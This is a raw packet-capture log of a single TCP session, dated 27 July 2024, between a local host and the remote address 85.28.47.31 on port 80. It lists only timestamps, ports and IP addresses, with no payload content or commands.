Jul 27, 2024 09:25:07.670293093 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.670317888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.670321941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.670350075 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.670357943 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.670392990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.670398951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.670429945 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.670440912 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.670461893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.670470953 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.670495033 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.670506001 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.670526981 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.670540094 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.670561075 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.670569897 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.670595884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.670605898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.670629978 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.670648098 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.670663118 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.670670033 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.670694113 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.670706987 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.670731068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.670736074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.670763016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.670773983 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.670795918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.670804977 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.670828104 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.670841932 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.670871973 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.670877934 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.670911074 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.670922995 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.670942068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.670953989 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.670974016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.670985937 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.671005964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.671016932 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.671037912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.671049118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.671071053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.671081066 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.671104908 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.671111107 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.671138048 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.671149969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.671169043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.671181917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.671201944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.671211958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.671235085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.671243906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.671267986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.671278000 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.671302080 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.671310902 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.671334982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.671348095 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.671366930 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.671377897 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.671400070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.671408892 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.671430111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.671442032 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.671463013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.671473980 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.671494961 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.671508074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.671530008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.671539068 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.671562910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.671571970 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.671596050 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.671603918 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.671627998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.671641111 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.671660900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.671669960 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.671694040 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.671708107 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.671726942 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.671735048 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.671761036 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.671768904 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.671802998 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.672274113 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.672306061 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.672321081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.672338009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.672348976 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.672369003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.672382116 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.672399998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.672411919 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.672432899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.672442913 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.672463894 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.672475100 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.672508001 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.672518015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.672557116 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.672563076 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.672590017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.672600985 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.672625065 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.672641039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.672658920 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.672669888 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.672691107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.672702074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.672725916 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.672734976 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.672758102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.672765970 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.672790051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.672801018 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.672821999 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.672832966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.672856092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.672863960 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.672898054 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.761137009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.761164904 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.761181116 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.761197090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.761212111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.761228085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.761245966 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.761324883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.761324883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.761324883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.761324883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.761452913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.761495113 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.761506081 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.761547089 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.761600971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.761653900 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.761655092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.761688948 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.761702061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.761730909 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.761795998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.761830091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.761843920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.761862040 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.761873960 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.761894941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.761905909 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.761938095 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.761982918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.762016058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.762028933 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.762048960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.762059927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.762110949 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.762124062 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.762159109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.762170076 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.762192011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.762207031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.762227058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.762238979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.762260914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.762270927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.762295008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.762303114 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.762331009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.762339115 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.762372017 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.762386084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.762418032 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.762430906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.762453079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.762456894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.762495995 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.762607098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.762639046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.762662888 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.762671947 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.762682915 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.762716055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.762742996 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.762759924 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.762774944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.762782097 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.762792110 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.762800932 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.762815952 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.762825012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.762926102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.762942076 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.762957096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.762968063 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.762973070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.762980938 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.762989044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.762998104 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.763003111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.763009071 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.763025045 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.763045073 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.763587952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.763613939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.763628960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.763638020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.763653994 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.763669968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.763762951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.763813019 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.763828993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.763844967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.763870001 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.763883114 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.763921976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.763937950 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.763962030 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.763964891 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.763978004 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.763982058 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.764004946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.764017105 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.764180899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.764197111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.764211893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.764221907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.764228106 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.764235020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.764241934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.764265060 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.764622927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.764653921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.764667034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.764673948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.764693022 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.764702082 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.764760017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.764775991 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.764791012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.764806986 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.764806986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.764816999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.764832020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.764846087 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.764934063 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.764956951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.764972925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.764977932 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.764986992 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.764990091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.765002012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.765012026 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.765017033 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.765024900 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.765033007 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.765039921 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.765048981 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.765058994 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.765074015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.765089035 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.765713930 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.765739918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.765753031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.765765905 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.765777111 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.765791893 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.765821934 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.765847921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.765862942 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.765866995 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.765887022 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.765902042 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.765908003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.765933037 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.765948057 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.765949011 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.765963078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.765969992 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.765985012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.766002893 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.766128063 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.766141891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.766159058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.766168118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.766172886 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.766180038 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.766187906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.766189098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.766201973 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.766215086 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.766216993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.766225100 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.766233921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.766237020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.766252995 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.766262054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.766272068 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.766278028 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.766294003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.766300917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.766309023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.766324997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.766325951 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.766331911 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.766339064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.766352892 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.766364098 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.766381025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.767019987 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.767069101 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.767112017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.767127037 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.767141104 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.767158985 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.767167091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.767168045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.767187119 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.767205000 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.767215014 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.767255068 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.767323971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.767339945 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.767362118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.767374039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.767488956 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.767505884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.767529964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.767544985 CEST	49704	80	192.168.2.5	85.28.47.31
